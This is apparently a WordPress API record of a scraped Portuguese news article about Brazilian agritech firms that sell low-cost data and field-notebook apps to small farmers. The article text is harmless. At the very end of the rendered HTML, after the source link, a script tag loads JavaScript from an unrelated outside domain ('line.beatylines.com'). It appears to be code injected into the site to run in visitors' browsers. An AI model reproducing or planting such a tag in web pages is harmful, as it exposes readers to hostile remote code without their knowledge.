{"id":785,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/agrotechs-buscam-ajudar-com-produtividade\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"agrotechs-buscam-ajudar-com-produtividade","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/agrotechs-buscam-ajudar-com-produtividade\/","title":{"rendered":"Agrotechs buscam ajudar com produtividade"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Dados da tela do <a href=\"https:\/\/www.uol.com.br\/tilt\/smartphone\/\">celular<\/a> que podem orientar produtores rurais sobre a melhor data para o plantio, que indicam as \u00e1reas da propriedade onde o solo rende mais e que dizem ainda qual variante de semente \u00e9 melhor. Tudo isso na palma da m\u00e3o e sem precisar desembolsar grandes somas de dinheiro.<\/p>\n<p>Esse \u00e9 o plano de empresas brasileiras do chamado agrotech, setor que alia solu\u00e7\u00f5es tecnol\u00f3gicas a agricultura e pecu\u00e1ria. Nos \u00faltimos anos, profissionais do ramo t\u00eam trabalhado para facilitar o acesso de pequenos produtores \u00e0 tecnologia, afirmou o engenheiro agr\u00f4nomo Rodrigo Franco Dias, diretor executivo da <span>Connect<\/span><span> <\/span><span>Farm<\/span>, que trabalha com intelig\u00eancia de dados.<\/p>\n<p>Por meio de assinaturas mensais ou anuais, por exemplo, os produtores rurais podem trabalhar com um programa que os ajude a planejar as doses certas de insumos, para evitar desperd\u00edcio e reduzir a quantidade, avaliar o clima ou entender por que uma \u00e1rea n\u00e3o rende o esperado.<\/p>\n<p>&#8220;A gente formatou um pacote de tecnologia de f\u00e1cil acesso, de f\u00e1cil replica\u00e7\u00e3o, para fazer o processo de integra\u00e7\u00e3o de agricultura digital nas pequenas propriedades&#8221;, disse Dias, em painel no <a href=\"http:\/\/economia.uol.com.br\/noticias\/redacao\/2022\/05\/04\/south-summit-brasil.htm\">South Summit Brasil<\/a>, evento de <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/06\/robos-e-ia-podem-reduzir-riscos-e-agilizar-tarefas-sem-deletar-trabalhador.htm\">inova\u00e7\u00e3o realizado em Porto Alegre nessa semana<\/a>.<\/p>\n<p>&#8220;O mesmo carro de <a href=\"https:\/\/www.uol.com.br\/esporte\/f1\/\">F\u00f3rmula 1<\/a> que a gente entrega para um grande produtor \u00e9 entregue ao pequeno, para poder fazer seu neg\u00f3cio usando as mesmas ferramentas&#8221;, acrescentou.<\/p>\n<p>Para Dias e outros diretores de companhias do <span>setor que participaram do evento, a ades\u00e3o<\/span> do campo \u00e0 tecnologia \u00e9 um caminho sem volta.<\/p>\n<h2>Interesse pela intelig\u00eancia de dados<\/h2>\n<p>O engenheiro agr\u00f4nomo come\u00e7ou a perceber a import\u00e2ncia de dados para auxiliar a produ\u00e7\u00e3o rural quando se questionou sobre por que uma \u00e1rea de plantio rendia mais que a outra dentro do mesmo peda\u00e7o de terra. Foi ent\u00e3o que percebeu que, para saber a efici\u00eancia de uma lavoura, \u00e9 preciso que o produtor conhe\u00e7a dados e indicadores dela.<\/p>\n<p>&#8220;Cada propriedade \u00e9 uma fonte de dados, cada lote \u00e9 uma fonte de informa\u00e7\u00e3o&#8221;, afirmou.<\/p>\n<p>Com tr\u00eas anos de mercado, a empresa liderada por ele passou de cerca de 130 para 500 clientes em um ano \u201460 deles, pequenos produtores, que plantam at\u00e9 100 hectares.<\/p>\n<h2>Como as tecnologias t\u00eam funcionado<\/h2>\n<p>O sistema da companhia, explica Dias, funciona como plataforma web e aplicativo para celulares, com informa\u00e7\u00f5es da lavoura podendo ser compartilhadas com agr\u00f4nomos que atendem a propriedade em cooperativas ou revendas, por exemplo.<\/p>\n<p>O programa conta com o algoritmo IGA (\u00cdndice de Gest\u00e3o Ambiental), que calcula a previsibilidade do potencial de produtividade de cada por\u00e7\u00e3o do terreno, numa escala de 0 a 10. &#8220;Desse modelo, cada vez que a gente faz uma recomenda\u00e7\u00e3o para uma \u00e1rea e a gente tem os dados de produtividade, isso \u00e9 acumulado em um banco de dados, que alimenta o sistema, para ver quais os perfis de solo com mais e menos resposta&#8221;.<\/p>\n<p>O tamb\u00e9m agr\u00f4nomo Alexandre Chequim, fundador e diretor executivo da empresa DigiFarmz, acredita que o Brasil poderia ter uma produ\u00e7\u00e3o entre tr\u00eas e quatro vezes maior que a atual pelo potencial gen\u00e9tico. E isso poderia ser ampliado com ajuda da tecnologia.<\/p>\n<p>A chamada lacuna de produtividade (diferen\u00e7a entre o que \u00e9 e o que poderia ser produzido) foi o que deu a ideia para cria\u00e7\u00e3o de sua empresa. Ele compara com o aplicativo Waze, pois tem o objetivo de, dentro do setor de produ\u00e7\u00e3o rural, tra\u00e7ar uma rota e apresentar alternativas aos percal\u00e7os que podem aparecer nela, antes da chegada ao destino.<\/p>\n<p>&#8220;Essa diferen\u00e7a de produtividade \u00e9 por equ\u00edvoco nas decis\u00f5es ou por quest\u00f5es ambientais. A pessoa n\u00e3o consegue ter as informa\u00e7\u00f5es para tomar a decis\u00e3o certa&#8221;, explica ele. &#8220;Hoje [com uso do sistema] tem gerado de tr\u00eas a 18 sacos a mais de soja para os produtores, o que \u00e9 muito valor para eles.&#8221;<\/p>\n<p>No modelo da <span>DigiFarmz<\/span>, o contato com o produtor \u00e9 feito online. O plano \u00e9 pago anualmente, em um valor calculado por hectare, de acordo com o tamanho da \u00e1rea, e o acesso pode ser feito \u00e9 feito por tablet, celular ou computador.<\/p>\n<p>O sistema cruza tr\u00eas fontes de dados para criar o plano personalizado para cada lavoura: base de dados pr\u00f3pria de pesquisa, que \u00e9 ampliada anualmente, fontes que est\u00e3o conectadas a esta\u00e7\u00f5es meteorol\u00f3gicas e sat\u00e9lites e outros dados de contexto que s\u00e3o passados pelo pr\u00f3prio produtor, explica o agr\u00f4nomo.<\/p>\n<p>&#8220;Tem solu\u00e7\u00f5es que s\u00e3o muito caras, porque precisa de estrutura. Se a gente mandar algu\u00e9m at\u00e9 o local, vai passar a custar um saco, um saco e meio por hectare, e hoje come\u00e7a por R$ 4,50, R$ 5 por hectare. Um produtor de 100 hectares vai pagar pouco&#8221;, explica <span>Chequim.<\/span><\/p>\n<h2>Do papel para o digital<\/h2>\n<p>Um dos desafios, por\u00e9m, \u00e9 quebrar a resist\u00eancia que produtores, especialmente os pequenos, destacam os profissionais. Isso ocorre pelo desafio de fazer com que eles usem softwares ou que tomem conhecimento de que a tecnologia pode ser acess\u00edvel.<\/p>\n<p>A sa\u00edda para isso, segundo Frederico Apollo Brito, economista e diretor executivo da Elysios Agricultura Inteligente, \u00e9 fazer treinamentos. Com ajuda de v\u00eddeo e imagens, os clientes s\u00e3o ensinados a navegar no aplicativo de caderno de campo desenvolvido por eles.<\/p>\n<p>&#8220;O pessoal mais velho tende a ser mais receoso, mas temos casos de produtores de 75 anos utilizando. Tem alguns que fazem caderno de campo em papel h\u00e1 anos, j\u00e1 tem o h\u00e1bito, e agora est\u00e3o passando para o digital&#8221;, conta ele.<\/p>\n<p>Mais voltada \u00e0 agricultura familiar e produ\u00e7\u00e3o de frutas, legumes e verduras, Brito diz que sua plataforma tem hoje cerca de 3 mil agricultores, em pelo menos 18 estados. Entre eles, comunidades ribeirinhas, onde s\u00f3 se chega por barco, que produzem guaran\u00e1 no norte do pa\u00eds.<\/p>\n<p>&#8220;A gente est\u00e1 vendo produtores de alface, por exemplo, conseguindo diminuir o ciclo da planta, irrigando menos e chegando ao mercado mais r\u00e1pido. Conseguir um ciclo de 45 dias em 40, otimiza muito a produ\u00e7\u00e3o. Tem um cliente que diminuiu em 17% o ciclo de plantio dele e ganhou em torno de 11 dias. Isso \u00e9 extremamente relevante&#8221;, explicou.<\/p>\n<p>Os sistemas t\u00eam ajudado produtores a criar registros de suas produ\u00e7\u00f5es e, em casos como a estiagem enfrentada pela regi\u00e3o Sul ou excesso de chuvas no Norte, por exemplo, ter conhecimento sobre esses fen\u00f4menos podem mitigar danos, ainda que as previs\u00f5es clim\u00e1ticas n\u00e3o sejam t\u00e3o assertivas com muito tempo de anteced\u00eancia.<\/p>\n<p>&#8220;Com aumento de custos de insumos, falta de m\u00e3o de obra, vai ficar no campo quem est\u00e1 se profissionalizando e buscando trazer tecnologia. A gente j\u00e1 consegue ver isso. Quem est\u00e1 ficando est\u00e1 pegando \u00e1reas maiores e conseguindo produzir mais dentro dessas \u00e1reas&#8221;, diz Brito.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/07\/agrotechs-buscam-ajudar-com-produtividade-e-ficam-mais-acessiveis.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dados da tela do celular que podem orientar produtores rurais sobre a melhor data para o plantio, que indicam as \u00e1reas da propriedade onde o solo rende mais e que dizem ainda qual variante de semente \u00e9 melhor. Tudo isso na palma da m\u00e3o e sem precisar desembolsar grandes somas de dinheiro. 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